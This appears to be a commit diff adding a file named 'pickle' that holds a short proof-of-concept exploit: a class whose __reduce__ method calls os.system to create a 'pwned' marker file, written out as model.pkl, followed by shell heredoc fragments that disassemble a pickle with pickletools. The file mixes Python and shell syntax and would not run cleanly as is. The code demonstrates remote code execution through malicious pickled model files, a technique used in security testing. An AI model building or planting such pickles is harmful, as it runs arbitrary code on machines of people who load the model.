Create pickle
Browse files
pickle
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import pickle, os
|
| 2 |
+
class RCE:
|
| 3 |
+
def __reduce__(self):
|
| 4 |
+
return (os.system, ("touch /mnt/d/stratacloud/localdisk/pwned",))
|
| 5 |
+
|
| 6 |
+
pickle.dump(RCE(), open("model.pkl","wb"))
|
| 7 |
+
EOF
|
| 8 |
+
|
| 9 |
+
python - << 'EOF'
|
| 10 |
+
import pickletools
|
| 11 |
+
|
| 12 |
+
print("Pickle opcodes detected:")
|
| 13 |
+
pickletools.dis("unsafe_pickle_model.pt")
|
| 14 |
+
EOF
|